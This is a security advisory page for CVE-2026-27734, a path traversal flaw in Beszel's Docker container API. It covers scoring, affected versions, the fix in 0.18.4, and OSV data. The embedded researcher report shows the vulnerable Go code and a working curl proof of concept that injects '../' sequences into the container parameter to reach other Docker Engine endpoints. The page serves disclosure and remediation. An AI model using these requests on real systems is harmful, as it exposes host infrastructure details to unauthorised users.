CVE-2026-27734: Beszel Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-phwh-4f42-gwf3
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-27734 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Beszel libraries in the Go ecosystem. The issue involves docker api has a path traversal vulnerability via unsanitized container id. Remediation is available by upgrading affected packages to version 0.18.4.

CVE-2026-27734 at a Glance

CVE Identifier CVE-2026-27734
GHSA Identifier GHSA-phwh-4f42-gwf3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Beszel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-27734

To remediate this vulnerability, upgrade all affected Beszel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/henrygd/beszel fixed: 0.18.4
Upgrade github.com/henrygd/beszel to 0.18.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/henrygd/beszel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27734, inspect your project dependencies for Beszel:

inspect dependencies for github.com/henrygd/beszel

Analyze the terminal output to locate any version of Beszel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.18.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Beszel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. ### Details **Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation: ```go containerID := e.Request.URL.Query().Get("container") if systemID == "" || containerID == "" { ... } data, err := fetchFunc(system, containerID) // passed directly to agent ``` **Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL: ```go endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID) endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail) ``` Go's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints. ### PoC Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode). ```bash # Authenticate TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \ -H "Content-Type: application/json" \ -d '{"identity":"user@example.com","password":"password"}' | jq -r '.token') SYSTEM="<system_id>" # Path traversal: Docker version (returns full engine version, kernel, Go version) curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \ -H "Authorization: Bearer $TOKEN" # Path traversal: Docker system info (returns hostname, OS, container count, network config) curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \ -H "Authorization: Bearer $TOKEN" # Path traversal: List all images (triggers unmarshal error confirming traversal works) curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \ -H "Authorization: Bearer $TOKEN" ``` All three requests returned real data from the Docker Engine API on the agent host. ### Impact Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details. ## Researcher Sergio Cabrera https://www.linkedin.com/in/sergio-cabrera-878766239/

CVE-2026-27734 Affected Beszel Versions

1 component(s)
Fixed Versions:
0.18.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/henrygd/beszel
Go
< 0.18.4
0.18.4

References

Frequently Asked Questions

What is CVE-2026-27734?
CVE-2026-27734 is a security vulnerability in Beszel involving Docker API has a Path Traversal Vulnerability via Unsanitized Container ID under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Beszel versions are affected?
Affected versions include releases prior to 0.18.4 across affected packages: github.com/henrygd/beszel.
What version fixes CVE-2026-27734?
Upgrading to 0.18.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/henrygd/beszel affected?
Yes, github.com/henrygd/beszel is affected in releases prior to 0.18.4. Upgrade your dependency to 0.18.4 or later.
What is the CVSS score of CVE-2026-27734?
CVE-2026-27734 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-27734?
CVE-2026-27734 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-27734?
Run the dependency tree command: 'inspect dependencies for github.com/henrygd/beszel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-phwh-4f42-gwf3",
  "modified" : "2026-02-27T22:20:39Z",
  "published" : "2026-02-27T21:01:05Z",
  "aliases" : [ "CVE-2026-27734" ],
  "summary" : "Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID",
  "details" : "### Summary\n\nThe hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID)  // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d\", containerID, dockerLogsTail)\n```\n\nGo's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identity\":\"user@example.com\",\"password\":\"password\"}' | jq -r '.token')\n\nSYSTEM=\"<system_id>\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/henrygd/beszel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.18.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.18.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27734"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/henrygd/beszel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/henrygd/beszel/releases/tag/v0.18.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-27T21:01:05Z",
    "nvd_published_at" : "2026-02-27T20:21:38Z"
  }
}